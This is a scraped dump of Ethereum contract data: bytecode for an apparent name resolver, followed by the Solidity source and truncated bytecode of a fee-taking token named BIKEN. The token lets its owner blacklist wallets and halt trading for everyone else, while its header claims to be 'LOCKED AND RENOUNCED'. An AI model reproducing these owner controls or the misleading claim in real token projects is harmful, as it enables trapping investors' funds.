0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301ffc9a7146100e057806310f13a8c146101445780632203ab561461020157806329cd62ea146102bc5780632dff6941146103095780633b3b57de1461035657806359d1d43c146103c7578063623195b0146104b7578063691f34311461053857806377372213146105e2578063aa4cb54714610659578063c3d014d6146106d0578063c86902331461070f578063d5fa2b001461076b578063e89401a1146107bc575b600080fd5b3480156100ec57600080fd5b5061012a60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610866565b604051808215151515815260200191505060405180910390f35b34801561015057600080fd5b506101ff6004803603810190808035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610bc0565b005b34801561020d57600080fd5b5061023a600480360381019080803560001916906020019092919080359060200190929190505050610e7d565b6040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610280578082015181840152602081019050610265565b50505050905090810190601f1680156102ad5780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b3480156102c857600080fd5b50610307600480360381019080803560001916906020019092919080356000191690602001909291908035600019169060200190929190505050610fc0565b005b34801561031557600080fd5b506103386004803603810190808035600019169060200190929190505050611185565b60405180826000191660001916815260200191505060405180910390f35b34801561036257600080fd5b5061038560048036038101908080356000191690602001909291905050506111ad565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103d357600080fd5b5061043c6004803603810190808035600019169060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506111f5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561047c578082015181840152602081019050610461565b50505050905090810190601f1680156104a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104c357600080fd5b50610536600480360381019080803560001916906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061131f565b005b34801561054457600080fd5b5061056760048036038101908080356000191690602001909291905050506114bc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105a757808201518184015260208101905061058c565b50505050905090810190601f1680156105d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105ee57600080fd5b506106576004803603810190808035600019169060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061157c565b005b34801561066557600080fd5b506106ce6004803603810190808035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611762565b005b3480156106dc57600080fd5b5061070d60048036038101908080356000191690602001909291908035600019169060200190929190505050611948565b005b34801561071b57600080fd5b5061073e6004803603810190808035600019169060200190929190505050611ac5565b60405180836000191660001916815260200182600019166000191681526020019250505060405180910390f35b34801561077757600080fd5b506107ba6004803603810190808035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b15565b005b3480156107c857600080fd5b506107eb6004803603810190808035600019169060200190929190505050611cec565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561082b578082015181840152602081019050610810565b50505050905090810190601f1680156108585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6000633b3b57de7c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610937575063d8389dc57c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806109a2575063691f34317c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a0d5750632203ab567c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a78575063c86902337c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610ae357506359d1d43c7c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610b4e575063e89401a17c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610bb957506301ffc9a77c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b9050919050565b823373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302571be3836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015610c7057600080fd5b505af1158015610c84573d6000803e3d6000fd5b505050506040513d6020811015610c9a57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16141515610ccd57600080fd5b81600160008660001916600019168152602001908152602001600020600501846040518082805190602001908083835b602083101515610d225780518252602082019150602081019050602083039250610cfd565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390209080519060200190610d68929190611dac565b5083600019167fd8c9334b1a9c2f9da342a0a2b32629c1a229b6445dad78947f674b44444a75508485604051808060200180602001838103835285818151815260200191508051906020019080838360005b83811015610dd5578082015181840152602081019050610dba565b50505050905090810190601f168015610e025780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015610e3b578082015181840152602081019050610e20565b50505050905090810190601f168015610e685780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a250505050565b6000606060006001600086600019166000191681526020019081526020016000209050600192505b8383111515610fb357600084841614158015610eea57506000816006016000858152602001908152602001600020805460018160011615610100020316600290049050115b15610fa4578060060160008481526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f985780601f10610f6d57610100808354040283529160200191610f98565b820191906000526020600020905b815481529060010190602001808311610f7b57829003601f168201915b50505050509150610fb8565b6001839060020a029250610ea5565b600092505b509250929050565b823373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302571be3836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561107057600080fd5b505af1158015611084573d6000803e3d6000fd5b505050506040513d602081101561109a57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161415156110cd57600080fd5b6040805190810160405280846000191681526020018360001916815250600160008660001916600019168152602001908152602001600020600301600082015181600001906000191690556020820151816001019060001916905590505083600019167f1d6f5e03d3f63eb58751986629a5439baee5079ff04f345becb66e23eb154e46848460405180836000191660001916815260200182600019166000191681526020019250505060405180910390a250505050565b6000600160008360001916600019168152602001908152602001600020600101549050919050565b600060016000836000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6060600160008460001916600019168152602001908152602001600020600501826040518082805190602001908083835b60208310151561124b5780518252602082019150602081019050602083039250611226565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113125780601f106112e757610100808354040283529160200191611312565b820191906000526020600020905b8154815290600101906020018083116112f557829003601f168201915b5050505050905092915050565b823373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302571be3836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b1580156113cf57600080fd5b505af11580156113e3573d6000803e3d6000fd5b505050506040513d60208110156113f957600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614151561142c57600080fd5b600083600185031614151561144057600080fd5b8160016000866000191660001916815260200190815260200160002060060160008581526020019081526020016000209080519060200190611483929190611e2c565b508284600019167faa121bbeef5f32f5961a2a28966e769023910fc9479059ee3495d4c1a696efe360405160405180910390a350505050565b60606001600083600019166000191681526020019081526020016000206002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115705780601f1061154557610100808354040283529160200191611570565b820191906000526020600020905b81548152906001019060200180831161155357829003601f168201915b50505050509050919050565b813373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302571be3836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561162c57600080fd5b505af1158015611640573d6000803e3d6000fd5b505050506040513d602081101561165657600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614151561168957600080fd5b8160016000856000191660001916815260200190815260200160002060020190805190602001906116bb929190611dac565b5082600019167fb7d29e911041e8d9b843369e890bcb72c9388692ba48b65ac54e7214c4c348f7836040518080602001828103825283818151815260200191508051906020019080838360005b83811015611723578082015181840152602081019050611708565b50505050905090810190601f1680156117505780820380516001836020036101000a031916815260200191505b509250505060405180910390a2505050565b813373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302571be3836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561181257600080fd5b505af1158015611826573d6000803e3d6000fd5b505050506040513d602081101561183c57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614151561186f57600080fd5b8160016000856000191660001916815260200190815260200160002060070190805190602001906118a1929190611e2c565b5082600019167fc0b0fc07269fc2749adada3221c095a1d2187b2d075b51c915857b520f3a5021836040518080602001828103825283818151815260200191508051906020019080838360005b838110156119095780820151818401526020810190506118ee565b50505050905090810190601f1680156119365780820380516001836020036101000a031916815260200191505b509250505060405180910390a2505050565b813373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302571be3836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b1580156119f857600080fd5b505af1158015611a0c573d6000803e3d6000fd5b505050506040513d6020811015611a2257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16141515611a5557600080fd5b81600160008560001916600019168152602001908152602001600020600101816000191690555082600019167f0424b6fe0d9c3bdbece0e7879dc241bb0c22e900be8b6c168b4ee08bd9bf83bc8360405180826000191660001916815260200191505060405180910390a2505050565b600080600160008460001916600019168152602001908152602001600020600301600001546001600085600019166000191681526020019081526020016000206003016001015491509150915091565b813373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302571be3836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015611bc557600080fd5b505af1158015611bd9573d6000803e3d6000fd5b505050506040513d6020811015611bef57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16141515611c2257600080fd5b8160016000856000191660001916815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600019167f52d7d861f09ab3d26239d492e8968629f95e9e318cf0b73bfddc441522a15fd283604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a2505050565b60606001600083600019166000191681526020019081526020016000206007018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611da05780601f10611d7557610100808354040283529160200191611da0565b820191906000526020600020905b815481529060010190602001808311611d8357829003601f168201915b50505050509050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611ded57805160ff1916838001178555611e1b565b82800160010185558215611e1b579182015b82811115611e1a578251825591602001919060010190611dff565b5b509050611e289190611eac565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611e6d57805160ff1916838001178555611e9b565b82800160010185558215611e9b579182015b82811115611e9a578251825591602001919060010190611e7f565b5b509050611ea89190611eac565b5090565b611ece91905b80821115611eca576000816000905550600101611eb2565b5090565b905600a165627a7a72305820435a4b0f19108c39a64d14722ffe0e065883d794db91a87323c17d28357654980029
{"success": true, "error": null, "results": {}}
1,042
0xa6810ae6736e3f631c88d8e5be99cca4af8408a3
/** */ /** Tokenonomics 2% Liquidity 2% Marketing 4% Development LOCKED AND RENOUNCED Telegram : https://t.me/bikenerc */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BIKEN is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BIKEN"; string private constant _symbol = "$BIKEN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 8; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x0A78F5C7ba7938a8D5A40C0eB97EC503B3F03C37); address payable private _marketingAddress = payable(0x0A78F5C7ba7938a8D5A40C0eB97EC503B3F03C37); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101ba5760003560e01c80637d1db4a5116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f046146104fb578063dd62ed3e1461051b578063ea1644d514610561578063f2fde38b1461058157600080fd5b8063a9059cbb14610496578063bfd79284146104b6578063c3c8cd80146104e657600080fd5b80638f70ccf7116100c65780638f70ccf7146104115780638f9a55c01461043157806395d89b411461044757806398a5c3151461047657600080fd5b80637d1db4a5146103b05780637f2feddc146103c65780638da5cb5b146103f357600080fd5b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f8146103465780636fc3eaec1461036657806370a082311461037b578063715018a61461039b57600080fd5b8063313ce567146102ea57806349bd5a5e146103065780636b9990531461032657600080fd5b80631694505e116101955780631694505e1461025857806318160ddd1461029057806323b872dd146102b45780632fd689e3146102d457600080fd5b8062b8cf2a146101c657806306fdde03146101e8578063095ea7b31461022857600080fd5b366101c157005b600080fd5b3480156101d257600080fd5b506101e66101e1366004611896565b6105a1565b005b3480156101f457600080fd5b506040805180820190915260058152642124a5a2a760d91b60208201525b60405161021f919061195b565b60405180910390f35b34801561023457600080fd5b506102486102433660046119b0565b610640565b604051901515815260200161021f565b34801561026457600080fd5b50601454610278906001600160a01b031681565b6040516001600160a01b03909116815260200161021f565b34801561029c57600080fd5b5066038d7ea4c680005b60405190815260200161021f565b3480156102c057600080fd5b506102486102cf3660046119dc565b610657565b3480156102e057600080fd5b506102a660185481565b3480156102f657600080fd5b506040516009815260200161021f565b34801561031257600080fd5b50601554610278906001600160a01b031681565b34801561033257600080fd5b506101e6610341366004611a1d565b6106c0565b34801561035257600080fd5b506101e6610361366004611a4a565b61070b565b34801561037257600080fd5b506101e6610753565b34801561038757600080fd5b506102a6610396366004611a1d565b61079e565b3480156103a757600080fd5b506101e66107c0565b3480156103bc57600080fd5b506102a660165481565b3480156103d257600080fd5b506102a66103e1366004611a1d565b60116020526000908152604090205481565b3480156103ff57600080fd5b506000546001600160a01b0316610278565b34801561041d57600080fd5b506101e661042c366004611a4a565b610834565b34801561043d57600080fd5b506102a660175481565b34801561045357600080fd5b50604080518082019091526006815265122124a5a2a760d11b6020820152610212565b34801561048257600080fd5b506101e6610491366004611a65565b61087c565b3480156104a257600080fd5b506102486104b13660046119b0565b6108ab565b3480156104c257600080fd5b506102486104d1366004611a1d565b60106020526000908152604090205460ff1681565b3480156104f257600080fd5b506101e66108b8565b34801561050757600080fd5b506101e6610516366004611a7e565b61090c565b34801561052757600080fd5b506102a6610536366004611b02565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561056d57600080fd5b506101e661057c366004611a65565b6109ad565b34801561058d57600080fd5b506101e661059c366004611a1d565b6109dc565b6000546001600160a01b031633146105d45760405162461bcd60e51b81526004016105cb90611b3b565b60405180910390fd5b60005b815181101561063c576001601060008484815181106105f8576105f8611b70565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063481611b9c565b9150506105d7565b5050565b600061064d338484610ac6565b5060015b92915050565b6000610664848484610bea565b6106b684336106b185604051806060016040528060288152602001611cb6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611126565b610ac6565b5060019392505050565b6000546001600160a01b031633146106ea5760405162461bcd60e51b81526004016105cb90611b3b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107355760405162461bcd60e51b81526004016105cb90611b3b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061078857506013546001600160a01b0316336001600160a01b0316145b61079157600080fd5b4761079b81611160565b50565b6001600160a01b0381166000908152600260205260408120546106519061119a565b6000546001600160a01b031633146107ea5760405162461bcd60e51b81526004016105cb90611b3b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461085e5760405162461bcd60e51b81526004016105cb90611b3b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108a65760405162461bcd60e51b81526004016105cb90611b3b565b601855565b600061064d338484610bea565b6012546001600160a01b0316336001600160a01b031614806108ed57506013546001600160a01b0316336001600160a01b0316145b6108f657600080fd5b60006109013061079e565b905061079b8161121e565b6000546001600160a01b031633146109365760405162461bcd60e51b81526004016105cb90611b3b565b60005b828110156109a757816005600086868581811061095857610958611b70565b905060200201602081019061096d9190611a1d565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061099f81611b9c565b915050610939565b50505050565b6000546001600160a01b031633146109d75760405162461bcd60e51b81526004016105cb90611b3b565b601755565b6000546001600160a01b03163314610a065760405162461bcd60e51b81526004016105cb90611b3b565b6001600160a01b038116610a6b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105cb565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105cb565b6001600160a01b038216610b895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105cb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f